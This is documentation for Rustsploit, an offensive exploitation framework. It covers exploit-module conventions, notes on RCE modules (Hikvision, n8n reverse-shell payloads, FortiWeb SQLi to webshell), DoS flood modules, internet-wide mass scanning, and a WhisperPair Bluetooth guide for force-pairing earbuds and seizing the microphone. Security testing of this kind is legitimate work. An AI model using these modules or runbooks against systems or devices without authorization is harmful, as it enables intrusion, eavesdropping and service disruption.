- `Err(_) => …` anonymous binding even when the arm has a side effect. Always bind the value and surface it via `Display` — e.g. `Err(elapsed) => anyhow::bail!("connect to {} timed out after {:?}: {}", addr, CONNECT_TIMEOUT, elapsed)`
- `let _ = <expression>;` where the expression returns `Result` — use `if let Err(e) = ...` and log `e`
- Direct array index `arr[i]` and slice range `&buf[..n]` — use `arr.get(i)` / `buf.get(..n).context(...)?`
- Lossy numeric casts (`as u16`, `as u64`, etc.) — use `try_into().with_context(...)?`
- Sync I/O in async functions (`std::fs::*`, `std::process::Command`, `std::thread::sleep`, `std::net::TcpStream`) — use `tokio::*`
**Native libraries (`crate::native::*`):** prefer in-tree helpers over third-party crates / hand-rolled formatting:
- `crate::native::hex::encode(&bytes)` for response-byte preview hex.
- `crate::utils::url_encode(s)` (delegates to `crate::native::url_encoding::encode`) for query / form payload encoding.
- `crate::native::network::*` for raw-socket DoS modules.
---
## Artifact Handling
If the exploit downloads or writes files (e.g., memory dumps, webshells):
- Store in the current working directory or a named subfolder
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
- Inform the operator where output was written
---
## Clean-Up Instructions
If the exploit adds credentials or accounts (e.g., camera modules), document:
- The impact of the change
- How to revert (e.g., default creds to restore, commands to run)
---
## Interactive Options
Use `cfg_prompt_*` helpers from `crate::utils` if end-user input is needed. These respect the priority chain (API custom_prompts > global options > interactive stdin), ensuring modules work in shell, API, and CLI modes:
```rust
use crate::utils::{cfg_prompt_default, cfg_prompt_yes_no};
let command = cfg_prompt_default("command", "Command to execute", "id").await?;
let deploy = cfg_prompt_yes_no("deploy_webshell", "Deploy webshell?", true).await?;
```
---
## Mass-Scan Compatibility
Mass-scan fan-out is handled by `scheduler::run` for every module. Modules **do not**
implement their own target iteration — the scheduler fans out `Cidr` / `File` /
`Random` / `Multi` targets and calls `run()` once per host with `Target::Single`.
### What modules must do
1. **Use target-specific filenames.** When writing output files, include the target
in the filename to avoid clobbering under concurrent mass scan:
```rust
// Bad — concurrent tasks overwrite each other
let path = "results.txt";
// Good — each target gets its own file
let safe = target.replace(['/', ':', '.', '[', ']'], "_");
let path = format!("results_{}.txt", safe);
```
Examples of modules already fixed: `mongobleed` (`vulnerable_mongodb_{timestamp}.txt`),
`pachev_ftp` (`results_{target}.txt`), ZTE (`config_{host}.bin`),
Tomcat RCE (per-invocation temp directory), JWKS (`jwks_{target}_{kid}_{i}.pem`).
2. **Guard interactive/REPL code with `is_batch_mode()`:**
```rust
if crate::utils::is_batch_mode() {
anyhow::bail!("Interactive REPL not supported in mass-scan mode.");
}
```
Local-only exploits (e.g. Windows DWM CVE-2026-20805) should also bail:
```rust
if crate::utils::is_batch_mode() {
anyhow::bail!("Local exploit generator — not suitable for mass scan.");
}
```
3. **Use framework network wrappers** so `setg source_port` is honoured across
all concurrent fan-out tasks. See _Source Port Awareness_ in
[Credential-Modules-Guide](Credential-Modules-Guide.md).
### What modules must NOT do
- **No per-module `EXCLUDED_RANGES` constants or `generate_random_public_ip()` calls.**
The scheduler's `crate::exclusions::ExclusionSet` handles this.
- **No `if is_mass_scan_target(target) { run_mass_scan(...) }` branches.**
This pattern was removed in v0.5.1. The scheduler is the single fan-out engine.
- **No raw `TcpStream::connect` or `UdpSocket::bind`.** Use the wrappers in
`crate::utils::network`.
---
## Module-Specific Notes
### Hikvision RCE (CVE-2021-36260)
- **Safe check** — writes/reads a test file to verify exploitability
- **Unsafe reboot** — reboots the device to confirm (destructive)
- **Command exec** — output retrieved, supports blind mode
- **SSH shell** — deploys Dropbear SSH on port 1337
### MongoBleed (CVE-2025-14847)
- Sends malicious compressed packet with inflated `uncompressedSize`
- Parses error response to extract leaked memory chunks (field names / types)
- Prints any leaked strings (potential credentials / data) to console
- Includes deep-scan mode for extended analysis
### n8n RCE (CVE-2025-68613)
- Authenticates via `/rest/login` (token / cookie-based)
- Creates a malicious workflow with expression injection payload
- Triggers via `/rest/workflows/{id}/run`
- Cleans up test workflow after execution
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
### FortiWeb SQLi → RCE (CVE-2025-25257)
- SQL injection via `Authorization: Bearer ';{injection}` header
- Writes webshell via `SELECT INTO OUTFILE`
- Uses `.pth` trigger for Python `chmod` execution
- Interactive modes: deploy webshell, execute command, test SQLi only
### NginxPwner
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
- Results saved to `nginx_pwner_results_{target}.txt`
- Prints reminders for manual checks (Redis, CORS, request smuggling)
### DoS / Stress Testing
> ⚠️ Authorized testing only. These modules can cause service disruption.
| Module | Notes |
|--------|-------|
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
---
## Framework-Level Multi-Target Support
All exploit modules automatically benefit from the framework's multi-target dispatcher. There is no need to implement target iteration inside individual modules. The framework handles:
- **Comma-separated targets** — `192.168.1.1,192.168.1.2,192.168.1.3`
- **CIDR ranges** — `192.168.1.0/24` expands to all hosts in the subnet
- **File-based targets** — pass a file path containing one target per line
- **Random targets** — `random` or `0.0.0.0/0` generates random public IPs with exclusion-set enforcement
The dispatcher calls the module's `run()` function once per resolved target. Modules only need to handle a single target string.
+145
View File
@@ -0,0 +1,145 @@
# Fast Pair / WhisperPair Exploitation Guide (`exploits/bluetooth/wpair`)
> **Authorized testing only.** WhisperPair force-pairs Bluetooth audio
> accessories without the owner's consent and can expose the microphone. Only
> run it against devices you own or are explicitly authorized to test. The
> rustsploit project ships this as a defensive/research capability for the
> publicly disclosed **CVE-2025-36911** (KU Leuven COSIC).
## What it is
WhisperPair is a pairing-mode-bypass affecting many vendors' Google Fast Pair
firmware (Sony, Jabra, JBL, Bose, Pixel Buds, Nothing, OnePlus, Soundcore,
Marshall, …). A conforming accessory should only accept a Key-Based Pairing
request while it is *discoverable*; vulnerable firmware accepts it at any time,
so an attacker in range (~1014 m) can silently pair, seize the
microphone/controls, and — via Find Hub — track the device.
The `wpair` module implements the full Seeker (attacker) side as an interactive
BLE sub-shell.
## How the handshake works (Paper §3.3.2)
1. The Seeker generates an ephemeral **secp256r1** keypair.
2. ECDH against the Provider's **Anti-Spoofing public key** yields shared `z`;
the session key is `K = SHA-256(z)[0..16]`.
3. The 16-byte Key-Based Pairing request `[type=0x00][flags][provider MAC 6B][salt 8B]`
is **AES-128-ECB** encrypted with `K`.
4. The 80-byte payload `E_K(request) || seeker_public_key[64]` is written to the
Key-Based Pairing characteristic (`FE2C1234-…`). A vulnerable Provider
decrypts it (proving the Seeker knew the public key) and proceeds even when
not in pairing mode.
## Requirements
- Build with the Bluetooth feature: `cargo run --features bluetooth -- -m exploits/bluetooth/wpair`
- A local BLE controller, powered on (`bluetoothctl power on`).
- Permission to drive the radio: run as root or grant `CAP_NET_RAW` to the binary.
- `bluetoothctl` on `PATH` for the `pair` / `switch` commands.
## Detection vs. full takeover
> **You do not need a key to *detect* the bug.** `testall` / `exploit` send a
> Key-Based Pairing request (flags `0x11` = INITIATE_BONDING | EXTENDED_RESPONSE)
> and classify on whether the device **accepts the write out of pairing mode** — a
> patched device rejects it at the GATT layer (insufficient auth/encryption). When
> no Anti-Spoofing key is configured, `wpair` runs a *bypass probe* with a random
> key: it still proves the vulnerability, it just can't derive the real session
> key. The Anti-Spoofing key is only required to **complete** crypto pairing
> (session key + passkey + account key). No public PoC (Python or Android) fetches
> keys from Google — there is no public endpoint; the key is supplied or captured.
## Sourcing the Anti-Spoofing public key
For a *full takeover* the attack needs the **target model's Anti-Spoofing public
key** (detection does not — see above). Google
distributes the matching *private* key only to the manufacturer, but the
*public* key is served to every Seeker (phone) so it can pair — keyed by the
24-bit model ID. The built-in device table is the **KU Leuven COSIC WhisperPair
research dataset** (~2,900 registered models with names, manufacturer, type and
Find-Hub tracking flag — embedded from `model_ids.csv` and parsed lazily); it
carries **names, not keys**, because anti-spoofing public keys are not published
in bulk anywhere. `wpair` resolves a key in this order:
1. **Operator override (most reliable):** `setg antispoofing_key <base64>` — paste
the key for your target once. This is the recommended path for a known device
(e.g. your own earbuds), and works even for a SteadyState target whose advert
carries no model ID.
2. **Seed table:** a key shipped for that model ID (rare — we ship names, not keys).
3. **Google Nearby Devices metadata API:** configure a URL template and key —
`setg gfp_metadata_url <template>` and `setg gfp_api_key <key>`. The template
may contain `{model_id}` (6 hex digits, upper-case) and `{api_key}`.
### Obtaining a key for your test device
- Capture the metadata fetch a real Android phone makes when first pairing the
device (the public key is in the device metadata response), or
- Configure the metadata API and run `harvest` to pull keys for the seed models,
or
- Supply it directly with `setg antispoofing_key <base64>`.
> The 256-bit Anti-Spoofing **private** key is not brute-forceable. "Harvesting"
> means enumerating the 24-bit model-ID space against the metadata API to collect
> **public** keys — see the `harvest` command (bounded to the seed table by
> default).
## Interactive commands
| Command | Action |
|---------|--------|
| `scan` | Discover Fast Pair devices; classifies each as `PAIRING` (3-byte model ID) or `STEADY-STATE` (account-key filter — advertising but not in pairing mode, the prime target). |
| `info` | Show discovered devices with model name, chipset, state, and Anti-Spoofing-key availability. |
| `select <MAC>` | Set the current target. |
| `exploit` | Full ECDH Key-Based Pairing exploit (force-pair) on the target, then plant a passkey + account key. |
| `testall` | Non-destructive vulnerability test on every discovered device (plain KBP, ECDH-first so a vulnerable device isn't mis-reported as patched). |
| `exploitall` | Run the full exploit on every discovered device. |
| `nonce` | Conformance test §4.3 — replays identical KBP bytes; acceptance = no nonce freshness. |
| `curve` | Conformance test §4.5 — sends an off-curve public key; acceptance = no point validation. |
| `pair` | Bond via `bluetoothctl` (pair + trust + connect). |
| `rename <name>` | Write a personalized device name (Additional Data, §3.3.5) using the session key. |
| `switch` | Audio-switching attack (§5.3.3) using the planted account key. |
| `harvest` | Fetch seed-model Anti-Spoofing keys from the configured metadata API. |
| `help` / `quit` | — |
## Global options
| Option | Example | Effect |
|--------|---------|--------|
| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | Target a single device. |
| `adapter` | `setg adapter 1` | BLE adapter index (multi-controller hosts). |
| `scan_secs` | `setg scan_secs 20` | Scan window, clamped 3300 s. |
| `model_id` | `setg model_id 0x0582FD` | Model ID when the advert doesn't carry one (SteadyState). |
| `antispoofing_key` | `setg antispoofing_key <base64>` | Provider Anti-Spoofing public key. |
| `gfp_metadata_url` | `setg gfp_metadata_url https://…/{model_id}?key={api_key}` | Metadata API URL template. |
| `gfp_api_key` | `setg gfp_api_key <key>` | Metadata API key. |
## Hardware runbook (e.g. your own earbuds)
1. `cargo run --features bluetooth -- -m exploits/bluetooth/wpair`
2. Put the earbuds in their case / out of pairing mode (to prove the *bypass*
they should be advertising the account-key filter, i.e. SteadyState).
3. `scan` → note the MAC and whether it shows `STEADY-STATE`.
4. `select <MAC>` then `testall` — this **detects** the bypass with no key (it
classifies on whether the device accepts the KBP write out of pairing mode).
5. For a **full takeover**, provide the key — `setg antispoofing_key <base64>`
(for a SteadyState target `wpair` also reads the model ID over GATT) — then
`exploit`. It derives the session key, plants a passkey + account key, stores
them to loot, and prints `VULNERABLE … CVE-2025-36911`; `pair` then completes
OS-level bonding.
6. Run `nonce` and `curve` to record the conformance results.
> The protocol details are verified against the public Fast Pair spec and two
> reference PoCs (Python + Android): characteristic UUIDs (`fe2c1233`-`fe2c1238`),
> the canonical request flags (`0x11`), and the Additional-Data
> HMAC-SHA256 + Fast-Pair-AES-CTR construction. The deterministic core (ECDH,
> AES-128, the KBP/passkey/account-key/Additional-Data builders) was validated
> during development against standard test vectors (FIPS-197 AES, RFC-4231 HMAC,
> ECDH symmetry). The connect path retries with backoff and a 10 s timeout; the
> live GATT behaviour still depends on your adapter and target firmware — report
> anything that misbehaves against your hardware.
## References
- CVE-2025-36911 — <https://nvd.nist.gov/vuln/detail/CVE-2025-36911>
- WhisperPair — <https://whisperpair.eu/>
- Fast Pair Provider spec — <https://developers.google.com/nearby/fast-pair/specifications/service/provider>
+62
View File
@@ -0,0 +1,62 @@
# Future Features Roadmap
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
## Recently Completed
### 3rd-Party Plugin System
The `plugins/` directory is now fully operational. Drop `.rs` files into `src/modules/plugins/` with the standard `pub async fn run(target: &str)` signature and they are auto-discovered at build time. A safety warning is displayed at shell and API startup when plugins are loaded.
### Framework Services (Metasploit Parity)
The following Metasploit-inspired features have been implemented:
- **Module Metadata** (`info` command) — CVE, author, rank, description per module
- **Vulnerability Check** (`check` command) — Non-destructive verification
- **Global Options** (`setg`/`unsetg`) — Persistent options across modules
- **Credential Store** (`creds`) — Track discovered credentials with JSON persistence
- **Host/Service Tracking** (`hosts`/`services`) — Workspace-based engagement data
- **Loot Management** (`loot`) — Structured evidence collection
- **Resource Scripts** (`resource`) — Automation from script files
- **Console Logging** (`spool`) — Capture all output to file
- **Background Jobs** (`run -j`/`jobs`) — Async module execution
- **Export/Reporting** (`export`) — JSON, CSV, and summary reports
---
## Planned Features
### 1. Instant Configuration Loading
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
### ~~2. Dynamic Source Port Modification~~ ✅ Completed (v0.5.0)
Source port binding is now framework-level. `setg source_port 53` binds all
outbound TCP/UDP connections to port 53 via `socket2` with `SO_REUSEADDR` /
`SO_REUSEPORT`. All network wrappers (`tcp_connect_str`, `tcp_connect_addr`,
`blocking_tcp_connect`, `udp_bind`) honour this setting. Third-party library
connections (FTP via suppaftp, Telnet) receive pre-connected streams from
these wrappers so they also respect the source port.
### 3. Session/Handler Management
Add Metasploit-style session management with reverse/bind shell handlers.
- **Goal:** Multi/handler listener, session listing/interaction, background sessions.
- **Implementation:** Listener framework with TCP/HTTP handlers, session tracking with numeric IDs.
### 4. Post-Exploitation Modules
Add a `post/` module category for post-exploitation tasks.
- **Goal:** Privilege escalation checks, persistence mechanisms, credential extraction, lateral movement.
- **Implementation:** New module category auto-discovered by `register_native_module!` + `inventory`.
### 5. Network Pivoting
Route traffic through compromised hosts.
- **Goal:** SOCKS proxy, port forwarding, autoroute through sessions.
- **Implementation:** Requires session management (Feature 3) first.
### 6. Nmap Integration
Import scan results directly into the workspace.
- **Goal:** `db_import` command for Nmap XML, populate hosts/services automatically.
- **Implementation:** Parse Nmap XML output and feed into workspace.
---
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
+200
View File
@@ -0,0 +1,200 @@
# Getting Started
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a WebSocket API server with post-quantum encryption, and an ever-growing library of exploits, scanners, and credential modules.
---
## Requirements
### System Dependencies
**Debian / Ubuntu / Kali:**
```bash
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake clang lld mold
```
> `clang`, `lld`, and `mold` are optional but strongly recommended — the repo's `.cargo/config.toml` is preconfigured to use a fast linker (see [Faster Builds](#faster-builds) below).
**Arch Linux:**
```bash
sudo pacman -S base-devel pkgconf openssl dbus cmake
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf sys-apps/dbus dev-build/cmake
```
**Fedora / RHEL:**
```bash
sudo dnf install gcc make pkgconf-pkg-config openssl-devel dbus-devel cmake
```
### Rust & Cargo
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
> Rust 1.85+ is required (edition 2024). Run `rustup update` to stay current.
---
## Clone & Build
```bash
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
For a release-optimized binary:
```bash
cargo build --release
# Binary written to target/release/rustsploit
```
---
## Faster Builds
The repository ships with build-performance tuning already applied:
- **`.cargo/config.toml`** — uses `clang` + `lld` as the linker on Linux and enables the sparse crates.io registry protocol.
- **`Cargo.toml` `[profile.dev]`** — `debug = "line-tables-only"` and `codegen-units = 256` for fast incremental builds with usable backtraces.
- **`[profile.dev.package."*"]`** — dependencies are still compiled at `opt-level = 2` so runtime stays fast.
- **`[profile.fast-release]`** — `cargo build --profile fast-release` for release-like binaries with thin LTO and parallel codegen (much faster than `--release`).
### Recommended optional tooling
**1. Install `mold` (fastest linker on Linux).** It's already in the apt install line above. To switch from `lld` to `mold`, edit `.cargo/config.toml` and replace `-fuse-ld=lld` with `-fuse-ld=mold`.
**2. `cargo check` instead of `cargo build`** during iteration — skips codegen entirely:
```bash
cargo check
# or auto-rerun on save:
cargo install cargo-watch
cargo watch -x check
```
**3. `sccache` for cross-project caching:**
```bash
cargo install sccache
export RUSTC_WRAPPER=sccache # add to ~/.zshrc or ~/.bashrc
```
**4. Share a target directory across projects** to reuse compiled deps:
```bash
export CARGO_TARGET_DIR="$HOME/.cargo-target"
```
### Reducing memory / CPU usage
If `cargo build` thrashes RAM or pegs all cores, cap parallelism:
```bash
cargo build -j 4 # limit parallel compile jobs
CARGO_BUILD_JOBS=4 cargo build # or via env
```
A good rule of thumb: `-j $(($(nproc) / 2))` on memory-constrained machines. Each rustc job can use 12 GiB on heavy crates.
### Quick reference
| Goal | Command |
|------|---------|
| Type-check only (fastest) | `cargo check` |
| Dev build | `cargo build` |
| Release-like, fast to compile | `cargo build --profile fast-release` |
| Fully optimized release | `cargo build --release` |
| Limit RAM/CPU | `cargo build -j 4` |
---
## Run
### Interactive Shell
```bash
cargo run
```
### CLI (non-interactive)
```bash
cargo run -- -m exploits/heartbleed -t 192.168.1.1
```
See [CLI Reference](CLI-Reference.md) for all flags.
### API Server
```bash
cargo run -- --api
```
This starts the PQ-encrypted API server on port 8080. On first run it generates a host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint. Clients must be listed in `~/.rustsploit/pq_authorized_keys` to connect. No TLS or API keys — authentication uses SSH-style post-quantum identity keys. See [API Server](API-Server.md) and [API Usage Examples](API-Usage-Examples.md) for details.
---
## Docker Deployment
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```bash
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
3. Generate or configure PQ identity keys for the API server.
4. Toggle hardening mode and tune the IP limit.
5. Generate:
- `docker/Dockerfile.api`
- `docker/entrypoint.sh`
- `.env.rustsploit-docker`
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation.
### Non-Interactive / CI
```bash
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
# PQ identity keys auto-generated on first run
--skip-up \
--force \
--non-interactive
```
To start the stack later:
```bash
docker compose -f docker-compose.rustsploit.yml up -d --build
```
---
## Privacy / VPN
The built-in proxy system has been removed in favor of system-level VPN solutions.
We recommend **[Mullvad VPN](https://mullvad.net)**:
- No registration — account numbers generated without email or personal data
- Proven no-logs policy with audited infrastructure
- WireGuard support for high-performance, low-latency tunneling
- Excellent Linux CLI for headless setups
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
---
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
+42
View File
@@ -0,0 +1,42 @@
# Rustsploit Wiki
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
---
## 📖 Documentation Index
| Document | Description |
|----------|-------------|
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
| [API Server](API-Server.md) | WebSocket API, PQ encryption, endpoints, rate limiting |
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
| [Module Catalog](Module-Catalog.md) | Live registry export — auto-generated by `rustsploit --gen-module-catalog` from the inventory |
| [Module Development](Module-Development.md) | How to author new modules — `Module` trait, lifecycle hooks, scheduler, rate limiter |
| [Legacy / Migration Status](Legacy.md) | Pre-v0.5.0 code paths kept on purpose, in-flight migrations, audit findings ledger |
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for credential modules — creds_helper, source port, timeout passthrough |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for exploit modules — mass scan compat, batch guards, target-specific files |
| [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md) | Bluetooth Fast Pair exploitation (CVE-2025-36911) — ECDH Key-Based Pairing, anti-spoofing key sourcing, conformance tests, hardware runbook |
| [Utilities & Helpers](Utilities-Helpers.md) | Network wrappers, creds_helper, exploit_helper, source port binding, cfg_prompt_* |
| [Bad Patterns](BAD_PATTERNS.md) | Banned code patterns — 95+ regex checks for panics, error swallowing, network bypasses |
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
| [Changelog](Changelog.md) | Release notes and version history (latest: 2026-06-13 — rmcp / Recog / JARM / SecLists ports, mass-scan fixes, per-run auto-save) |
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
| [Future Features](Future-Features.md) | Roadmap and completed features (plugins, metadata, global options, etc.) |
| [About Me](About-Me.md) | Information about the author |
| [Donation](Donation.md) | Ways to support the project |
---
## Quick Navigation
- **New user?** → Start with [Getting Started](Getting-Started.md)
- **Writing a module?** → See [Module Development](Module-Development.md)
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
+300
View File
@@ -0,0 +1,300 @@
# Interactive Shell
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
```bash
cargo run
```
---
## Command Palette
All commands are **case-insensitive** and support aliases:
| Command | Shortcuts | Description |
|---------|-----------|-------------|
| `help` | `h`, `?` | Show command reference |
| `modules` | `list`, `ls`, `m` | List all discovered modules |
| `find <kw>` | `search`, `f`, `f1` | Search modules by keyword |
| `use <path>` | `u <path>` | Select a module |
| `info [path]` | `i` | Show module metadata (CVE, author, rank) |
| `back` | `b`, `clear`, `reset` | Deselect current module and target |
| `set target <val>` | `t <val>` | Set target (IPv4/IPv6/hostname/CIDR) |
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
| `show_target` | `st`, `showtarget` | Display current target |
| `clear_target` | `ct`, `cleartarget` | Clear target |
| `run` | `go`, `exec`, `ra` | Execute the selected module |
| `run -j` | | Run module as background job |
| `check` | `ch` | Non-destructive vulnerability check |
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
| `unsetg <key>` | `ug` | Remove a global option |
| `show options` | `so` | Display all global options (now includes `scan_order`, `exclusions`, `target_rps`, `module_rps`) |
| `creds` | | List stored credentials |
| `creds add` | | Add a credential interactively |
| `creds search <q>` | | Search credentials by host/service/user |
| `creds delete <id>` | | Delete a credential by ID |
| `creds clear` | | Clear all credentials |
| `hosts` | | List tracked hosts |
| `hosts add <ip>` | | Add a host to workspace |
| `services` | `svcs` | List tracked services |
| `services add` | | Add a service interactively |
| `notes <ip> <text>` | | Add a note to a host |
| `workspace [name]` | `ws` | Show or switch workspaces |
| `loot` | | List collected loot |
| `loot add` | | Add loot interactively |
| `loot search <q>` | | Search loot |
| `resource <file>` | `rc` | Execute a resource script |
| `makerc <file>` | | Save command history to file |
| `spool <file>` | | Log console output to file |
| `spool off` | | Stop console logging |
| `export json <f>` | | Export all data to JSON |
| `export csv <f>` | | Export all data to CSV |
| `export summary <f>` | | Export human-readable report |
| `jobs` | `j` | List background jobs |
| `jobs -k <id>` | | Kill a background job |
| `jobs clean` | | Clean up finished jobs |
| `exit` | `quit`, `q` | Leave the shell |
---
## Example Session
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> go
```
---
## Command Chaining
Execute multiple commands on one line using the `&` or `;` separator (both are
sequential — there is no parallel/background semantics implied by `&`):
```text
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh ; u creds/generic/ssh_bruteforce ; set target 192.168.1.1
```
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
To run a module against every host in a subnet, just `set target <CIDR>` (or
`random`) and `run` — the dispatcher fans out automatically; there is no
separate `run_all` command.
---
## Target Normalization
When you run `set target`, the value is normalized and validated automatically. Supported formats:
| Format | Example |
|--------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
Security checks (length, control characters, path traversal) are enforced at the framework level.
### Multi-Target Support
The framework-level dispatcher handles multiple target types transparently for all modules. You do not need per-module support for these formats:
| Format | Example |
|--------|---------|
| Comma-separated | `t 192.168.1.1, 192.168.1.2, 192.168.1.3` |
| CIDR range | `t 192.168.1.0/24` |
| File of targets | `t /path/to/targets.txt` |
| Random scanning | `t random` or `t 0.0.0.0/0` |
| Sequential scanning | `t seq` (from `1.0.0.0`), `t seq:1.2.3.4` (explicit start) |
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
> **Note:** Only `random` and `0.0.0.0/0` trigger a full-internet random mass
> scan. Bare `0.0.0.0` is treated as a normal single host, **not** a mass-scan
> keyword, so `t 0.0.0.0` will not launch an internet-wide scan.
### Mass-scan order: random vs. sequential
A full-public-IPv4 sweep can run in two orders, both honoring the exclusion list
(`setg exclusions …`):
- **Random** (default) — `t random` / `t 0.0.0.0/0`: samples random public IPs up
to `max_random_hosts` (default 10,000).
- **Sequential** — `t seq` / `t seq:<start-ip>`, or flip `0.0.0.0/0`/`random` into
order with `setg scan_order sequential`: walks `1.0.0.0 → 223.255.255.255` in
order, skipping excluded/reserved ranges. **Unbounded** by default (Ctrl+C to
stop) unless you set `max_random_hosts`; it checkpoints the high-water IP, so a
killed scan **resumes** from where it left off on the next run. Set
`setg scan_order random` to switch back.
---
## Honeypot Detection
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
- Scans **30 common ports** with a 200 ms timeout each.
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
- Runs automatically on every `run`/`go` invocation.
Manual call (from module code): `crate::utils::network::quick_honeypot_check(ip)`
---
## Global Options (`set` / `setg`)
`set` and `setg` both write to the persistent global options store
(`~/.rustsploit/global_options.json`). They are functionally identical — `set`
is the shorter form, `setg` is kept for Metasploit muscle memory. Both are
checked by `cfg_prompt_*` functions after API custom_prompts but before
interactive stdin.
```text
rsf> set port 8080
rsf> setg concurrency 50
rsf> show options
rsf> unset port
rsf> unsetg concurrency
```
### Metasploit Aliases
The shell accepts Metasploit-style option names and maps them to Rustsploit keys:
| Metasploit name | Rustsploit key | Example |
|-----------------|----------------|---------|
| `RHOST` / `RHOSTS` | `target` | `set RHOST 10.0.0.1` |
| `RPORT` | `port` | `set RPORT 443` |
| `LPORT` | `source_port` | `set LPORT 31337` |
| `THREADS` | `concurrency` | `set THREADS 100` |
| `MODULE_TIMEOUT` | `timeout` | `set MODULE_TIMEOUT 30` |
### Common Global Options
| Option | Example | Effect |
|--------|---------|--------|
| `port` | `set port 443` | Default port for all modules |
| `source_port` | `set source_port 31337` | Outbound source port for all TCP/UDP connections |
| `honeypot_detection` | `set honeypot_detection n` | Disable honeypot checks before `run` |
| `timeout` | `set timeout 30` | Connection/probe timeout (seconds) — passed through to probe functions |
| `concurrency` | `set concurrency 50` | Default thread/task count for brute-force and fan-out |
| `verbose` | `set verbose y` | Verbose output |
| `username_wordlist` | `set username_wordlist users.txt` | Default username wordlist |
| `password_wordlist` | `set password_wordlist pass.txt` | Default password wordlist |
| `stop_on_success` | `set stop_on_success y` | Stop on first valid credential |
| `save_results` | `set save_results y` | Auto-save results to file |
| `combo_mode` | `set combo_mode y` | Full user x pass combination mode |
| `module_timeout` | `set module_timeout 60` | Per-target deadline in scheduler |
| `max_random_hosts` | `set max_random_hosts 10000` | Cap for random mass scan |
| `global_rps` | `set global_rps 100` | Process-wide rate limit (requests/sec) |
| `module_rps` | `set module_rps 50` | Per-module rate limit |
| `target_rps` | `set target_rps 10` | Per-target rate limit |
| `prescan` | `set prescan auto` | Pre-scan tool for CIDR (auto/masscan/zmap/none) |
| `prescan_rate` | `set prescan_rate 1000` | Pre-scan packets per second |
| `scan_order` | `set scan_order sequential` | Mass-scan order for `0.0.0.0/0`/`random`: `random` (default) or `sequential` |
| `exclusions` | `set exclusions 10.0.0.0/8,@/path/file` | CIDRs/ranges to skip in mass scans (`""`=defaults, `none`/`internal`=no filtering) |
